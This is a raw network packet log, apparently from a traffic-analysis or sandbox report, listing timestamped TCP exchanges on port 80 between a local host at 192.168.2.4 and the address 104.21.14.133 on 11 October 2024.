Oct 11, 2024 04:10:42.966207027 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966207027 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966216087 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966228008 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966233015 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966250896 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966265917 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966276884 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966294050 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966294050 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966294050 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966319084 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966324091 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966336012 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966344118 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966362953 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966368914 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966379881 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966391087 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966397047 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966411114 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966412067 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966429949 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966439009 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966450930 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966458082 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966468096 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966483116 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966502905 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966505051 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966520071 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966533899 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966536045 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966568947 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966583967 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966583967 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966583967 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966593981 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966610909 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966617107 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966638088 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966656923 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966665030 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966681004 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966696024 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966711998 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966728926 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966728926 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966734886 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966752052 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966752052 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966770887 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966778994 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966779947 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966787100 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966799974 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966818094 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966835976 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966867924 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966885090 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966900110 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966914892 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966916084 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966933012 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966943979 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966943979 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966957092 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966964006 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966974974 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966980934 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.966990948 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.966999054 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.967015982 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.967034101 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.967037916 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.967056036 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.967071056 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:42.967103004 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:42.967123032 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.052419901 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.052455902 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.052481890 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.052498102 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.052514076 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.052529097 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.052545071 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.052572966 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.052588940 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.052593946 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.052594900 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.052594900 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.052594900 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.052594900 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.052618027 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.052635908 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.052650928 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.052676916 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.052689075 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.052689075 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.052690029 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.052691936 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.052690029 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.052690029 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.052716970 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.052730083 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.052731037 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.052736044 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.052752018 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.052752018 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.052767992 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.052771091 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.052783966 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.052791119 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.052799940 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.052817106 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.052819014 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.052819014 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.052831888 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.052838087 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.052849054 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.052856922 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.052864075 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.052880049 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.052882910 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.052882910 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.052896976 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.052912951 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.052927971 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.052939892 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.052939892 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.052939892 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.052942991 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.052967072 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.052967072 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.052992105 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053195000 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053215027 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053237915 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053251982 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053256989 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053256989 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053268909 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053278923 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053286076 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053308010 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053308964 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053308964 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053335905 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053343058 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053354979 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053369999 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053385019 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053397894 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053404093 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053419113 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053419113 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053443909 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053446054 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053446054 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053461075 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053467989 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053477049 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053493023 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053509951 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053517103 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053528070 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053535938 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053555012 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053580046 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053580999 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053597927 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053611994 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053627014 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053627968 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053643942 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053656101 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053656101 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053659916 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053677082 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053683996 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053695917 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053703070 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053723097 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053723097 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053726912 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053741932 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053742886 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053757906 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053767920 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053775072 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053796053 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053802013 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053819895 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053822994 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053822994 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053837061 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053842068 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053853035 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053860903 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053879976 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053880930 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053899050 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053900957 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053914070 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053927898 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053935051 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053957939 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053975105 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.053983927 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053983927 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053983927 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.053989887 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054018021 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054018021 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054033041 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054033995 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054049969 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054065943 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054068089 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054068089 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054081917 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054088116 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054099083 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054105997 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054125071 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054141045 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054152966 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054152966 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054156065 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054172993 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054173946 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054191113 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054193020 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054207087 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054219961 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054219961 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054224014 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054239988 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054255009 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054255962 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054272890 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054285049 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054291010 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054313898 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054316044 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054332972 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054336071 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054358006 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054358959 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054373026 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054378986 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054395914 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054399967 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054419994 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054421902 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054440022 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054445028 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054465055 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054465055 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054481983 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054497004 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054511070 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054511070 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054512978 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054528952 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054532051 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054544926 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054552078 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054578066 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054578066 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054589033 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054598093 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054605961 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054621935 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054636955 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054637909 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054645061 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054661989 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054662943 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054677010 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054682970 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054693937 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054703951 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054728031 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054728031 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054867029 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054883003 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054898977 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054919958 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054919958 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054941893 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054950953 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054966927 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054981947 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054996014 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.054997921 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.054999113 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.055011988 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.055028915 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.055033922 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.055033922 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.055056095 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.055074930 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.139935017 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.139956951 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.139972925 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.139986992 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140012980 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140028954 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140032053 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140032053 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140053034 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140068054 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140090942 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140103102 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140103102 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140104055 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140105963 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140122890 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140135050 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140140057 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140156984 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140166998 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140183926 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140185118 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140199900 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140213013 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140223980 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140223980 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140228987 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140244007 CEST	49733	80	192.168.2.4	104.21.14.133
Oct 11, 2024 04:10:43.140244961 CEST	80	49733	104.21.14.133	192.168.2.4
Oct 11, 2024 04:10:43.140260935 CEST	49733	80	192.168.2.4	104.21.14.133
